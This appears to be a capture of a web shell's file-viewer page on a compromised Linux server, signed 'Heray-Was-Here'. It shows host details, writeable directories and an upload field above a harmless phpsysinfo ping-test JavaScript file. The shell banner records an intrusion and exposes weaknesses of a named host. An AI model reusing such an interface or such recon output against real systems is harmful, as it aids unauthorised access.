Heray-Was-Here
Server : Apache
System : Linux mail.lomejor.cr 6.8.0-1059-azure #65~22.04.1-Ubuntu SMP Thu May 28 16:59:19 UTC 2026 x86_64
User : www-data ( 33)
PHP Version : 8.2.31
Disable Function : NONE
Directory :  /var/www/erp/htdocs/custom/phpsysinfo/includes/phpsysinfo/plugins/pingtest/js/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : /var/www/erp/htdocs/custom/phpsysinfo/includes/phpsysinfo/plugins/pingtest/js/pingtest_bootstrap.js
function renderPlugin_pingtest(data) {

    var directives = {
        PingTime: {
            html: function () { 
                return ((this.PingTime === "lost") ? genlang(4, 'pingtest') : this.PingTime + String.fromCharCode(160) + "ms"); 
            }
        }
    };

    if (data.Plugins.Plugin_PingTest !== undefined) {
        var psitems = items(data.Plugins.Plugin_PingTest.Ping);
        if (psitems.length > 0) {
            var pt_memory = [];
            pt_memory.push_attrs(psitems);
            $('#pingtest-data').render(pt_memory, directives);
            $('#pingtest_Address').removeClass("sorttable_sorted"); // reset sort order
            sorttable.innerSortFunction.apply($('#pingtest_Address')[0], []);

            $('#block_pingtest').show();
        } else {
            $('#block_pingtest').hide();
        }
    } else {
        $('#block_pingtest').hide();
    }
}

Hry